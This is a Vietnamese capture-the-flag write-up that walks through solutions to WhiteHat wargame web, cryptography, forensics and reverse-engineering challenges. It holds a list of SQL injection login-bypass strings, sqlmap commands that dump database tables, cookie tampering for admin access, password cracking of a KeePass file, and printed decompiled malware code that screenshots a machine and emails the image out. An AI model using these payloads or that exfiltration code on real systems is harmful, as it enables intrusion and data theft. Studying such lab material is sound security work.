Writeup ctf wargame

38
WRITEUP CTF WARGAME.WHITEHAT.VN - 26/01/2015 -

Transcript of Writeup ctf wargame

Page 1: Writeup ctf wargame

WRITEUP CTF WARGAME.WHITEHAT.VN

- 26/01/2015 -

Page 2: Writeup ctf wargame

TÀI LIỆU NÀY PHỤC VỤ

MỤC ĐÍCH HỌC TẬP

BẤT KỲ AI CŨNG CÓ THỂ

SỬ DỤNG

NHƯNG HÃY TÔN TRỌNG

TÁC GIẢ BẰNG CÁCH

TRÍCH DẪN TÊN TÁC GIẢ

NẾU SỬ DỤNG NỘI DUNG

TRONG BÀI VIẾT

- HOANGCUONGFLP –

Page 3: Writeup ctf wargame

Mục Lục I. Web Application. ..........................................................................................4

a. Web001 .....................................................................................................4

b. Web002 .....................................................................................................4

c. Web003 .....................................................................................................5

d. Web004 .....................................................................................................7

e. Web005 ................................................................................................... 10

f. Web006 ................................................................................................... 11

II. Crytography. ............................................................................................... 14

a. Crypto001................................................................................................ 14

b. Crypto002................................................................................................ 14

c. Crypto003................................................................................................ 15

d. Crypto004................................................................................................ 15

e. Crypto005................................................................................................ 16

III. Forensic. .................................................................................................. 18

a. For001 ..................................................................................................... 18

b. For002 ..................................................................................................... 19

IV. Reverse Enginnering. ............................................................................... 25

a. Re001 ...................................................................................................... 25

b. Re002 ...................................................................................................... 29

c. Re003 ...................................................................................................... 38

Page 4: Writeup ctf wargame

WRITEUP CTF WARGAME.WHITEHAT

I. Web Application.

a. Web001

http://lab10.wargame.whitehat.vn/web001/

Bài này rất đơn giản. Ctrl+U xem source code là có flag

Ctrl + U ta được:

Flag: WhiteHat{f6faf5e94db80f28e0ce18a1d8599c16ab1b3c1c}

b. Web002

Link: http://lab10.wargame.whitehat.vn/web002/

Page 5: Writeup ctf wargame

Trên trang không có thông tin gì, xem gợi ý bằng cách xem source code.

Ta có: <!-- No more information leaks!! Not even Google will find it this time... --

>

Như vậy nghĩa là nó chặn các cỗ máy tìm kiếm bằng tệp tin robots.txt. Ta thử mở

tệp tin này trên trình duyệt.

Mở tiếp địa chỉ: http://lab10.wargame.whitehat.vn/web002//protected/s3cr3t.txt Ta

có flag.

Flag: WhiteHat{f3c3b1dd80fe22038857661a75db31612bf3695c} c. Web003

Link: http://lab10.wargame.whitehat.vn/web003/

Page 6: Writeup ctf wargame

Xem source code:

Đăng nhập vào bằng Username/Password là test/test.

Tới đây, ta có hai hướng đoán để khai thác. Một là SQL Injection hai là trang này

quản lý phiên đăng nhập người dùng bằng Cookie. Ta thử với Cookie trước. Sử

dụng trình duyệt Firefox và Addon Temper Data.

Page 7: Writeup ctf wargame

Thay đổi giá trị: user=test thành user=admin. Ta được

Flag: WhiteHat{c626978503a7feafab95edeb084be0a35271c754}

d. Web004

Link: http://lab10.wargame.whitehat.vn/web004/

Yêu cầu đăng nhập bằng Password, nhưng ta không có. Vậy sẽ xem source code.

Ta có một đoạn mã java script đã được làm rối (obfuscated).

Page 8: Writeup ctf wargame

Đối với những bài dạng này, ta copy đoạn script. Ấn F12 trên trình duyệt Chrome,

chuyển sang tab Console để thực thi script. Và sẽ nhận được script ở bản rõ.

Ấn Enter để chạy script, và ta chuyển sang tab Sources để xem mã.

Đoạn mã như sau:

(function() { var arr=["a","b","e","g","o","n","s","r","t","y","z","f","d","k","m"];var correct="";for(i=0;i<15;i++){if(i<=10){correct+=arr[i+2];}

else{correct+=arr[i-5];}

Page 9: Writeup ctf wargame

} $("form").submit(function(event){if($("input:first").val()===correct){return;}

alert("Incorrect!"); event.preventDefault();

}); })

Ta chỉ cần chú ý tới đoạn bôi đỏ. Copy đoạn này và thêm một dòng code thông báo

ra $correct là ta có được password. Ta có:

{ var arr=["a","b","e","g","o","n","s","r","t","y","z","f","d","k","m"];

var correct="";for(i=0;i<15;i++) {if(i<=10){

correct+=arr[i+2];}

else{ correct+=arr[i-5];

} } alert(correct);

} Và kết quả là:

Nhập password là: egonsrtyzfdsrty

Ta được flag:

Page 10: Writeup ctf wargame

Flag: WhiteHat{6b76dd466543906fd5876c76b414de500b45541b}

e. Web005

Link: http://lab10.wargame.whitehat.vn/web005/

Ta nhận được một Form đăng nhập. Với những dạng bài như vậy, ta đoán được

rằng yêu cầu phải khai thác lỗi SQL injection để bypass login.

Ta thử với một vài câu truy vấn SQL thường sử dụng như:

'-'

' ' '&'

' ' '*'

' or ''-' ' or '' '

' or ''&' ' or '' '

' or ''*' "-" " "

"&" "^"

"*" " or ""-"

" or "" " " or ""&"

" or ""^" " or ""*"

or true-- " or true--

' or true-- ") or true--

') or true-- ' or 'x'='x

Page 11: Writeup ctf wargame

') or ('x')=('x ')) or (('x'))=(('x

" or "x"="x ") or ("x")=("x

")) or (("x"))=(("x Trong bài này ta sử dụng: Username: ‘or ‘1’=’1’-- - Password: cuongdeptrai

Flag: WhiteHat{02b2596378b237bde0efa1456f603103af663940}

f. Web006

Link: http://lab10.wargame.whitehat.vn/web006/

Với bài này, ta đoán được trang bị lỗi SQL Injection. Nhân dịp bài Writeup, sẽ giới

thiệu luôn công cụ SQL Map sử dụng để khai thác lỗi SQL injection một cách tự

động và nhanh chóng. SQL map là một chương trình được viết bằng ngôn ngữ lập

trình Python, nên sử dụng được cả trên Windows và Linux.

Page 12: Writeup ctf wargame

Tải SQL Map tại địa chỉ: https://github.com/sqlmapproject/sqlmap

Ta sử dụng sqlmap để khai thác thại đường link:

http://lab10.wargame.whitehat.vn/web006/index.php?id=1 như sau:

H:\sqlmap>python sqlmap.py -u

http://lab10.wargame.whitehat.vn/web006/index.php? id=1 --dbs

Chương trình tìm được 2 CSDL là:

db_profile

information_schema

Ta tiến hành truy vấn để lấy được danh sách các bảng trong CSDL: db_profile

H:\sqlmap>python sqlmap.py -u

http://lab10.wargame.whitehat.vn/web006/index.php? id=1 --tables -D db_profile

Ta nhận được 3 bảng là:

Page 13: Writeup ctf wargame

tbl_flag

tbl_manage

tbl_user

Tiếp theo, ta tìm kiếm các cột trong bảng “tbl_flag” vì nghi ngờ trong bảng này

chứa flag.

H:\sqlmap>python sqlmap.py -u http://lab10.wargame.whitehat.vn/web006/index.php?

id=1 --columns -D db_profile -T tbl_flag

Ta dump dữ liệu về, sử dụng câu lệnh:

H:\sqlmap>python sqlmap.py -u

http://lab10.wargame.whitehat.vn/web006/index.php? id=1 --dump -D db_profile -T tbl_flag

Không có flag, vậy ta cần tìm trong bảng khác. Tìm trong bảng tiếp theo

“tbl_manage”.

H:\sqlmap>python sqlmap.py -u

http://lab10.wargame.whitehat.vn/web006/index.php? id=1 --columns -D db_profile -T tbl_manage

Page 14: Writeup ctf wargame

Dump dữ liệu trong bảng này ta được:

H:\sqlmap>python sqlmap.py -u http://lab10.wargame.whitehat.vn/web006/index.php?

id=1 --dump -D db_profile -T tbl_manage

Như vậy, đã có được flag:

Flag: WhiteHat{04dec56bd88923b103c7321d2eae499003b55c55}

II. Crytography.

a. Crypto001

Giải mã thông điệp sau đây:

CnozkNgz{18571g0397188h59279l30g18j82l2g28gi4i1hj}

Với “CnozkNgz” được mã hóa Ceaser với k=6, Đối với số ta lấy số đó trừ 6 và lấy

giá trị tuyệt đối. VD |1-6| = |-5| = 5; 8 – 6 = 2;

Từ trên ta có kết quả.

WhiteHat{52915a4731522b93613f74a52d26f6a62ac8c5bd}

b. Crypto002

Giải mã thông điệp sau đây:

Wc0cah7653i6e19te858e9fc2Hf96fa0167tc9d8{0eb5d00b}

Page 15: Writeup ctf wargame

Wc0ca

Ta tách chuỗi trên thành 5 chuỗi nhỏ, mỗi chuỗi 5 ký tự. Vì

flag có dạng WhiteHat{xxx} Nên ta nhận thấy, chữ cái đầu tiên của mỗi chuỗi nhỏ sẽ được nối với nhau thành Flag.

Như vậy,Flag sẽ được viết thành là:

WhiteHat{52915a4731522b93613f74a52d26f6a62ac8c5bd}

h7653

i6e19

te858

e9fc2

Hf96f

a0167

tc9d8

{0eb5

d00b}

c. Crypto003

Giải mã thông điệp sau đây:

Waa02f150}h{60839c35it0b2f91eata2ab13d75eH305ab2d1

Waa02

Flag: WhiteHat{aa60230ab00282b5a1f3f1993b2d1c503e7d15a5}

Cách một dòng là một đoạn bắt đầu của ký tự tiếp theo

trong flag.

f150}

h{608

39c35

it0b2

f91ea

ta2ab

13d75

eH305

ab2d1

d. Crypto004

Giải mã thông điệp sau đây:

iWehttH2a{b41477a26b5186def17d4fea77ba961950913}eb

Page 16: Writeup ctf wargame

iWeht iWeht -> White

WhiteHat{244b71a67b2165d8f

7ed1fa47eb976a901953e1b}

tH2a{ tH2a{ -> Hat{2

b4147 b4147 -> 44b71

7a26b 7a26b -> a67b2

5186d 5186d -> 165d8

ef17d ef17d -> f7ed1

4fea7 4fea7 -> fa47e

7ba96 7ba96 -> b976a

19509 19509 -> 90195

13}eb 13}eb -> 3e1b}

Flag: WhiteHat{244b71a67b2165d8f7ed1fa47eb976a901953e1b}

e. Crypto005

Giải mã thông điệp sau đây

http://lab20.wargame.whitehat.vn/Crypto005.txt

Nội dung tệp Crypto005.txt:

REOHO GHO RXZ VGBQF GDDHZGFEOB RZ CQBFWBBQPT REO BOFWHQRM ZL G FHMDRZBMBROS. FZSDWRGRQZPGA BOFWHQRM

REQB SOGBWHO FZPFOHPB REO FZSDWRGRQZPGA OLLZHR HONWQHOC RZ VHOGJ G FHMDRZBMBROS. XO SQTER COLQPO G

FHMDRZBMBROS RZ VO FZSDWRGRQZPGAAM BOFWHO QL REO VOBR GATZHQRES LZH VHOGJQPT QR HONWQHOB GR AOGBR P

ZDOHGRQZPB, XEOHO P QB BZSO BDOFQLQOC, UOHM AGHTO PWSVOH. REO DHZVAOS QB REGR PZ JPZXP DHGFRQFGA

FHMDRZBMBROS FGP VO DHZUOC RZ VO BOFWHO WPCOH REQB COLQPQRQZP. QP DHGFRQFO, DOZDAO XQAA FGAA G

FHMDRZBMBROS “FZSDWRGRQZPGAAM BOFWHO” QL REO VOBR JPZXP SOREZC ZL VHOGJQPT REO BMBROS HONWQHOB GP

WPHOGBZPGVAM AGHTO GSZWPR ZL FZSDWROH RQSO (VWR REQB QB ZL FZWHBO UOHM CQLLOHOPR LHZS G DHZZL ZL BOFWHQRM). GPZREOH GDDHZGFE QB RZ DHZUQCO OUQCOPFO ZL

FZSDWRGRQZPGA BOFWHQRM VM HOCWFQPT REO BOFWHQRM ZL

Page 17: Writeup ctf wargame

REO FHMDRZBMBROS RZ BZSO XOAA-BRWCQOC DHZVAOS REGR QB REZWTER RZ VO CQLLQFWAR. LZH OYGSDAO, QR SGM VO

GVAO RZ DHZUO G BRGROSOPR ZL REO RMDO “G TQUOP FHMDRZBMBROS QB BOFWHO QL G TQUOP QPROTOH P FGPPZR VO

LGFRZHOC.” FHMDRZBMBROSB ZL REQB RMDO GHO BZSORQSOB ROHSOC “DHZUGVAM BOFWHO,” VWR QR SWBR VO WPCOHBRZZC REGR REQB GDDHZGFE ZPAM DHZUQCOB G DHZZL ZL BOFWHQRM

HOAGRQUO RZ BZSO ZREOH DHZVAOS, PZR GP GVBZAWRO DHZZL ZL BOFWHQRM. WPFZPCQRQZPGA BOFWHQRM REQB SOGBWHO

FZPFOHPB REO BOFWHQRM ZL FHMDRZBMBROSB XEOP REOHO QB PZ VZWPC DAGFOC ZP REO GSZWPR ZL FZSDWRGRQZP REGR

ZBFGH QB GAAZXOC RZ CZ. G FHMDRZBMBROS QB COLQPOC RZ VO WPFZPCQRQZPGAAM BOFWHO QL QR FGPPZR VO VHZJOP, OUOP

XQRE QPLQPQRO FZSDWRGRQZPGA HOBZWHFOB. MZW LQPGAAM FGDRWHO REO LAGT ZL REQB FEGAAOPTO:

“BWVBRQRWRQZP” BWVSQR MZWH BEG1 ZL REO LAGT RZ FZSDAORO FEGAAOPTO

Sử dụng công cụ http://quipqiup.com/index.php để giải mã thông điệp. Thông điệp

sau khi giải mã là:

THERE ARE TWO BASIC APPROACHES TO DISCUSSING THE SECURITY OF A CRYPTOSYSTEM. COMPUTATIONAL SECURITY THIS

MEASURE CONCERNS THE COMPUTATIONAL EFFORT REQUIRED TO BREAK A CRYPTOSYSTEM. WE MIGHT DEFINE A CRYPTOSYSTEM TO

BE COMPUTATIONALLY SECURE IF THE BEST ALGORITHM FOR BREAKING IT REQUIRES AT LEAST N OPERATIONS, WHERE N IS

SOME SPECIFIED, VERY LARGE NUMBER. THE PROBLEM IS THAT NO KNOWN PRACTICAL CRYPTOSYSTEM CAN BE PROVED TO BE

SECURE UNDER THIS DEFINITION. IN PRACTICE, PEOPLE WILL CALL A CRYPTOSYSTEM ?COMPUTATIONALLY SECURE? IF THE BEST

KNOWN METHOD OF BREAKING THE SYSTEM REQUIRES AN UNREASONABLY LARGE AMOUNT OF COMPUTER TIME (BUT THIS IS OF COURSE VERY DIFFERENT FROM A PROOF OF SECURITY).

ANOTHER APPROACH IS TO PROVIDE EVIDENCE OF COMPUTATIONAL SECURITY BY REDUCING THE SECURITY OF THE

CRYPTOSYSTEM TO SOME WELL-STUDIED PROBLEM THAT IS THOUGHT TO BE DIFFICULT. FOR EXAMPLE, IT MAY BE ABLE TO

PROVE A STATEMENT OF THE TYPE ?A GIVEN CRYPTOSYSTEM IS SECURE IF A GIVEN INTEGER N CANNOT BE FACTORED.?

CRYPTOSYSTEMS OF THIS TYPE ARE SOMETIMES TERMED

Page 18: Writeup ctf wargame

?PROVABLY SECURE,? BUT IT MUST BE UNDERSTOOD THAT THIS APPROACH ONLY PROVIDES A PROOF OF SECURITY RELATIVE TO

SOME OTHER PROBLEM, NOT AN ABSOLUTE PROOF OF SECURITY. UNCONDITIONAL SECURITY THIS MEASURE CONCERNS THE

SECURITY OF CRYPTOSYSTEMS WHEN THERE IS NO BOUND PLACED ON THE AMOUNT OF COMPUTATION THAT OSCAR IS ALLOWED TO DO. A CRYPTOSYSTEM IS DEFINED TO BE UNCONDITIONALLY

SECURE IF IT CANNOT BE BROKEN, EVEN WITH INFINITE COMPUTATIONAL RESOURCES. YOU FINALLY CAPTURE THE FLAG

OF THIS CHALLENGE: ?SUBSTITUTION? SUBMIT YOUR SHA1 OF THE FLAG TO COMPLETE CHALLENGE

Như vậy, ta cần mã băm sha1 của: SUBSTITUTION

Flag: WhiteHat{81996be59f9e456b335d9d0efc432b0e96aef8d2}

III. Forensic.

a. For001

Ở bài này, ta nhận được 3 tệp tin: Application.evtx; registry.reg và Security.evtx.

Trong đó hai tệp tin Application.evtx và Security.evtx là tệp ghi lại các sự kiện

trên Hệ điều hành Windows, hay còn gọi là Windows Event Logs. Ta có thể sử

dụng Windows để có thể đọc được những tệp tin này, hoặc sử dụng công cụ phân

tích giúp thuận tiện trong công viêc. Trong bài viết, có sử dụng công cụ “Event

Log Explorer” download tại http://www.eventlogxp.com/. Và tệp tin registry.reg

là tệp tin “chụp” lại thông tin cấu hình Regedit của Windows với các giá trị Khóa

là những giá trị mang thông tin cấu hình cho các ứng dụng và Hệ điều hành.

- Phân tích tệp tin “Application.evtx” ta có:

+ Đầu tiên, với sự kiện 903: The Software Protection service has stopped. Cho biết

dịch vụ “The Software Protection” đã bị ngắt tại thời điểm 1h:01:01PM. Sau đó,

dịch vụ “The VSS service is shutting down due to idle timeout.” Cũng bị tắt do trễ

giờ.

+ Tiếp theo, Event ID 902 — RD Connection Broker Availability được khởi chạy.

Theo tài liệu trên MSDN thì sự kiện này là sự kiện thông báo rằng có thể tài khoản

người dùng sử dụng dịch vụ “Remote Desktop” không có trong nhóm được quyền

này. Link: https://technet.microsoft.com/en-us/library/ee890857(v=WS.10).aspx

Page 19: Writeup ctf wargame

+ Sau đó sự kiện 1003 được chạy, thể hiện Dịch vụ phần mềm bảo vệ đã hoàn

thành quá trình kiểm tra hoạt động cấp phép với id= 55c92734-d682-4d71-983e-

d6ec3f16059f.

+ Tiếp sau đó là sự kiện 1006 – Khởi tạo một đối tượng dịch vụ.

+ Tiếp sau đó dịch vụ “The Windows Security Center Service has started.” Mới

được khởi động.

+ Cuối cùng là khởi tạo lại dịch vụ : “The Software Protection service is starting.

Parameters:(null)” lại như lúc trước và không truyền vào tham số nào.

Như vậy, rất có thể đã có kẻ tấn công cố tình làm ngừng dịch vụ Bảo vệ

phần mềm “The Software Protection service” và dịch vụ “Trung tâm an ninh

Windows” để khởi chạy một ứng dụng nào đó, và đăng ký trở thành một

dịch vụ với ID là: 55c92734-d682-4d71-983e-d6ec3f16059f. Từ một người

dùng không có đặc quyền sử dụng dịch vụ Remote Desktop.

- Phân tích tệp tin “Security”.

+ Thôi dài quá Không chơi nữa.

Tìm flag trong tệp tin registry.reg tại khóa:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\12.0\Common\Diag

nostics]

"Address"="Z29vLmdsL0NtenFxTg"

Base64.b64decode(‘Z29vLmdsL0NtenFxTg’) = goo.gl/CmzqqN

curl –d goo.gl/CmzqqN to get flag

Flag: WhiteHat{de6c5000972c7e3c7625d6663bfcc5881960acec}

b. For002

Đề bài là một tệp tin ghi lại quá trình truyền tin trong mạng. Mở tệp tin bằng

WireShark. Phân tích dữ liệu, chú ý tới giao thức “YMSG” là giao thức truyền tin

nhắn qua Yahoo Messager.

Bấm chuột phải chọn “Follow TCP” Ta thấy được nội dung chat giữa hai nick

name là: stark_n00b và hulk1e37.

Nội dung tin nhắn như sau:

Page 20: Writeup ctf wargame

[email protected][email protected][email protected]_n00b..5..hulk1e37..241.

[email protected]_n00b..5..hulk1e37..241..0..97..1..14..<font face="Times New Roman" size="11">Hey Hul<font

face="Arial">k..455..20883629e855570816db2a2503e80264..64..0..63..;0..429..0000000045513C1C..450..0..YMSG.....7.......@..15..1422008016..455..20883629e855570816db2a2503e80264..YMSG.....P.......@..4..hulk1e37..5..stark_n00b..3

02..430..430..0000000045513C1C..303..430..450..0...YMSG.....7.K.....@..49..TYPING..1..stark_n00b..5..hulk1e37..241..0..13..0..YMSG........ZU.V.@..1..stark_

n00b..5..hulk1e37..241..0..97..1..14..<ding>..455..e00034e50dff1777a4810f24bc257656..64..0..63..;[email protected]

422008035..455..e00034e50dff1777a4810f24bc257656...YMSG.....O.......@..4..hulk1e37..5..stark_n00b..302..430..430..0000000145513C1C..303..430..450..0..Y

[email protected]_n00b..13..1..14.. [email protected]_n00b..14..Yep..1

5..1422008045..63..;0..64..0..97..1..241..0..252..VEeh1YoSUkGuE/G70Qdo3lLsmHCMHQ==..429..0000000047FA58C8..450..0..455..6907dfb0d4eab211d81cb

[email protected]_n00b..5..hulk1e37..302..430..430..0000000047FA58C8..303..430..450..0..YMSG.....>[email protected]_n00b..13..0..14..

[email protected][email protected]_n00b..5..hulk1e37..241..0..97..

1..14..<font face="Times New Roman" size="11">I have just shared you a work folder. For safety, I put the link and password to this folder in a file. The link to

the file is here..455..7c925e716847b2d8fb0968eb93f77390..64..0..63..;0..429..0000000245

513C1C..450..0..YMSG.....\[email protected]_n00b..302..430..430..0000000245513C1C..303..430..450..0..YMSG.....7.K.....@..49..TYPI

NG..1..stark_n00b..5..hulk1e37..241..0..13..0..YMSG.............@[email protected]_n00b..5..hulk1e37..241..0..13..1..YM

SG..... [email protected]_n00b..5..hulk1e37..241..0..97..1..14...[4m.[#0563c1m<font face="Times New Roman"

size="11">http://lab40.wargame.whitehat.vn/for002/stark_4bf8125fc8eae262a9e9842611ade67a.kdb..455..6186ff82f186d9002e1c1a166937da03..64..0..63..;0..429..0000000345513C1C..450..0..YMSG.....7.......@..15..1422008080..455..6186f

f82f186d9002e1c1a166937da03..YMSG.....\[email protected]_n00b..302..430..430..0000000345513C1C..303..430..450..0..YMSG.....7.K

[email protected]_n00b..5..hulk1e37..241..0..13..0..YMSG.....E.K.....@..4..hulk1e37..49..TYPING..1..hulk1e37..5..stark_n00b..241..0..13..1...YMSG..

[email protected]_n00b..241..0..97..1..14..Okey, thank

Page 21: Writeup ctf wargame

you sir. But I find the file is password-protected. You mind telling me the password for this file?

..455..e3326f88983630fa1c3deff648b67b6f..64..0..63..;[email protected]_n00b..5..hulk1e37..302..430..430..00000

00147FA58C8..303..430..450..0..YMSG.....D.K.....@..4..hulk1e37..49..TYPING..1..hulk1e37..5..stark_n00b..241..0..13..0..YMSG.....b.......@..302..518..300..518..1..stark_n00b..5..hulk1e37..241..0..301..518..303..518..13..2..1..stark_n00b..YM

[email protected][email protected]_n00b..5..hulk1e37..241..0..97..1..14..<font face="Times

New Roman" size="11">Oh. It...s the 5-digits number that we talk about all the time. You remember

it?..455..66a4448443bb52048218bb289de7f6d2..64..0..63..;0..429..0000000445513C1C..450..0..YMSG.....7.K.....@..49..TYPING..1..stark_n00b..5..hulk1e37..24

1..0..13..0..YMSG.....][email protected]_n00b..302..430..430..0000000445513C1C..303..430..450..0...YMSG.....D.K.....@..4..hulk1e37..4

9..TYPING..1..hulk1e37..5..stark_n00b..241..0..13..1..YMSG.............@..4..hulk1e37..1..hulk1e37..5..stark_n00b..241..0..97..1..14..Yeah I see. Now I have the

link and pass to the shared folder. Thank you for the work you assigned me!..455..b372cbdec71b223cd0efb0c2dabd86b3..64..0..63..;[email protected]_n00b..5..hulk1e37..302..430..430..

0000000247FA58C8..303..430..450..0..YMSG.....D.K.....@..4..hulk1e37..49..TYPING..1..hulk1e37..5..stark_n00b..241..0..13..0..YMSG.............@..0..stark_n00b

[email protected][email protected]_n00b..5..hulk1e37..241..0..97..1..14..<font

face="Times New Roman" size="11">Good job man. Now I have an important file in the folder that I want you to check it out. I don...t remember the name of

the file, but there...s something relates to "YUNFU" in the content of it...455..689fddd8393a3f0cf7f3aa995c4c3fd8..64..0..63..;0..429..0000000545513

C1C..450..0..YMSG.....][email protected]_n00b..302..430..430..0000000545513C1C..303..430..450..0...YMSG.....7.K.....@..49..TYPING

..1..stark_n00b..5..hulk1e37..241..0..13..0..YMSG.....D.K.....@..4..hulk1e37..49..TYPING..1..hulk1e37..5..stark_n00b..241..0..13..1..YMSG.............@..4..hulk1e3

7..1..hulk1e37..5..stark_n00b..241..0..97..1..14..Ok, I'll check now..455..5269f451cd54b7ae49008c08c2fb7a9e..64..0..63..;[email protected]_n00b..5..hulk1e37..302..430..430..

0000000347FA58C8..303..430..450..0..YMSG.....E.K.....@..4..hulk1e37..49..TYPING..1..hulk1e37..5..stark_n00b..241..0..13..0...YMSG.............@..0..stark_n00

b.. Chú ý tới đoạn chữ được bôi đỏ, ta có một đường link:

Page 22: Writeup ctf wargame

http://lab40.wargame.whitehat.vn/for002/stark_4bf8125fc8eae262a9e9842611ade6

7a.kdb

Đường link này cho phép download một tệp tin

stark_4bf8125fc8eae262a9e9842611ade67a.kdb là một tệp tin được mã hóa bởi

thuật toán AES sử dụng để lưu trữ mật khẩu cho phần mềm KeePass 1.0 để mở.

Tệp tin được đặt mật khẩu có 5 ký tự là chữ số. Sử dụng JonhRipper crack mật

khẩu ta được mật khẩu là: 61930.

Page 23: Writeup ctf wargame

Tiến hành mở bằng KeePass ta được:

- Một đường link:

http://lab40.wargame.whitehat.vn/for002/4fad5214bb6d00b11565fa63af289

b02/

- Một tên người dùng: stark

- Một mật khẩu: 887dc49de54042a27a800a1e23429b5a

Page 24: Writeup ctf wargame

Sử dụng thông tin trên, truy cập vào đường link.

Có rất nhiều tệp tin văn bản. Nhưng tệp tin: High-Speed Rail, Regional

Economics.docx là tệp có thời gian khác nhất so với tệp tin khác, khả năng cao flag

sẽ nằm ở đây. Giải nén tệp tin bằng 7Zip. Tìm thấy trong thư mục \High-Speed

Rail, Regional Economics\docProps\flag.xml ta tìm thấy Flag.

Flag: WhiteHat{1a4df3727f5ed3af27f2ff21beb3e0a5b6bc4321}

Page 25: Writeup ctf wargame

IV. Reverse Enginnering.

a. Re001

MD5,0D7128A7F14ACF070BF08E38366505BB

MD5,0D7128A7F14ACF070BF08E38366505BB

SHA1,299793DAF0EAB8B9017441F

BDE1327BDC93690B0

SHA1,299793DAF0EAB8B9017441F

BDE1327BDC93690B0

File Description,n/a File Description,n/a

File Version,n/a File Version,n/a

Creation time,23:01:2015 - 06:59:52 Creation time,23:01:2015 - 06:59:52

Access time,21:10:2014 - 03:04:46 Access time,21:10:2014 - 03:04:46

Modification Time,21:10:2014 - 03:04:46

Modification Time,21:10:2014 - 03:04:46

CPU,32-bit CPU,32-bit

Size (bytes),108544 Size (bytes),108544

Type,Dynamic-link library Type,Dynamic-link library

SubSystem,Windows GUI SubSystem,Windows GUI

Đề bài cho ta một tệp tin .DLL, nhiệm vụ là phải tìm ra flag trong tệp tin này. Load

tệp tin này vào IDA tìm các hàm exports. Kiểm tra tệp tin có bị pack không.

Page 26: Writeup ctf wargame

Như vậy là tệp tin được build bằng Visual C++ 6.0 và không pack.

Như vậy là có 6 hàm được exports. Load vào Ollydbg để debug. Nhìn hàm “luch”

có vẻ khả nghi, ta sẽ tiến hành debug hàm này trước.

Load vào Ollydbg -> Seach -> All referent strings Ta được:

Là các chuỗi khả nghi, ta click đúp chuột trái vào và đặt breakpoint tại đây.

Page 27: Writeup ctf wargame

Mở menu trong Ollydbg: Debug -> Call DLL Exports.

Chọn hàm “luch” bấm Follow CPU. Sau đó bấm Call Export.

Page 28: Writeup ctf wargame

Chương trình sẽ dừng tại nơi đặt BreakPoint.

Tiếp tục trace bằng phím F8. Tới hàm JNZ SHORT 1000D3AC bấm F7 để vào

xem hàm thực hiện bên trong.

Page 29: Writeup ctf wargame

Tiếp tục trace bằng lệnh F8. Ta được flag như hình dưới đây:

Flag: WhiteHat{10E5866050D20AFE8CCAE04456491DB7908A96EC}

b. Re002

Ta nhận được một tệp tin như sau:

Page 30: Writeup ctf wargame

Tệp tin được build bằng Microsoft Visual Studio .NET. Sử dụng .NET Reflector

để dịch ngược mã.

Nhưng khi mở tệp tin lên, ta nhận được những dòng code rất khó hiểu. Như vậy là

tệp tin đã được làm rối mã (Obfuscated), ta cần tiến hành làm sạch mã

(deobfuscator) để có thể đọc được mã thật sự của nó. Trong phần này, sử dụng

công cụ de4dot.net để có thể làm sạch mã của chương trình.

Page 31: Writeup ctf wargame

Mã của tệp tin đã bị làm rối

Tệp tin đã được làm sạch mã, tiến hành mở bằng .NET Reflector ta được.

Page 32: Writeup ctf wargame

Như vậy là chương trình sẽ giải mã resource để nạp vào bộ nhớ và thực hiện kỹ

thuật thực thi trên bộ nhớ để chạy mã độc. Ta cần phải giải mã resource để có thể

phân tích tiếp.

Ta cần lấy được đối tượng resource là “obj” bằng cách: Tìm tới mục Resource

trong .NET Reflector, chọn Save as như hình dưới. Tiến hành lưu ra một tệp tin

khác.

Page 33: Writeup ctf wargame

Tận dụng hàm giải mã bên trong trương trình vừa dịch ngược được ta có chương

trình để trích xuất mã độc như sau.

Page 34: Writeup ctf wargame

Tiếp tục phân tích mã độc được giải mã.

Page 35: Writeup ctf wargame

Lần này, mã độc được nén bằng IL4Decompressor. Và “giấu” trong resource với

tên là “data”. Ta cần giải mã “data” để có được mã độc thực thi tiếp theo.

Chương trình giải mã sử dụng thư viện IL4Decompressor.

Page 37: Writeup ctf wargame

{ Stream contentStream = smethod_17(smethod_16(),

ImageFormat.Jpeg); SmtpClient client = new SmtpClient();

MailMessage message = new MailMessage(); client.Credentials = new NetworkCredential(NativeMethods.GiaiMaString(@"]\kcjh`o,..2;gdq`) jh"),

NativeMethods.GiaiMaString(@"ap^f]md\i")); client.Port = 0x24b;

client.Host = "Smtp.live.com"; message = new MailMessage {

From = new MailAddress(NativeMethods.GiaiMaString(@"]\kcjh`o,..2;gdq`) jh"))

};

message.To.Add(NativeMethods.GiaiMaString(@"]\kcjh`o,..2;gdq`) jh")); message.Subject = NativeMethods.GiaiMaString("Rcdo`C\\ov+2.<-

A,=A33+0>0,@.-2>/.=.31.,.41,@--4+3/x\x001c"); message.Body = "Your Flag is set in the email subject! Can u read ?"; new ContentType("image/jpeg");

message.Attachments.Add(new Attachment(contentStream, NativeMethods.GiaiMaString("N^m``incjo)ek`b")));

client.EnableSsl = true; client.Send(message);

} catch (Exception exception)

{ ProjectData.SetProjectError(exception);

ProjectData.ClearProjectError(); }

} Từ hàm GiaiMaString và dữ liệu nhận được, ta viết chương trình để có được Flag.

Page 38: Writeup ctf wargame

Flag: WhiteHat{073A2F1BF8805C51E327C43B386313961E229084}

c. Re003